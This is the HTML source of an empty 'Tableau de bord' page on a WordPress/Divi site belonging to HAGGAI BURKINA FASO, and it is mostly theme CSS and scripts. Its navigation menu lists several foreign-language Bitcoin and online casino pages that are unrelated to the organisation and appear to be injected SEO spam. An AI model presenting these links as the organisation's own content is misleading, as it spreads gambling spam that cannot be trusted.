ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/56/et-divi-dynamic-56.css?ver=1780281771' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/56" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/tableau-de-bord/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=56' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template-default page page-id-56 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-56" class="post-56 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">Tableau de bord</h1>
				
				
					<div class="entry-content">
										</div>

				
				</article>

			

			</div>

					</div>
	</div>


</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"56","unique_test_id":"","ab_bounce_rate":"5","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
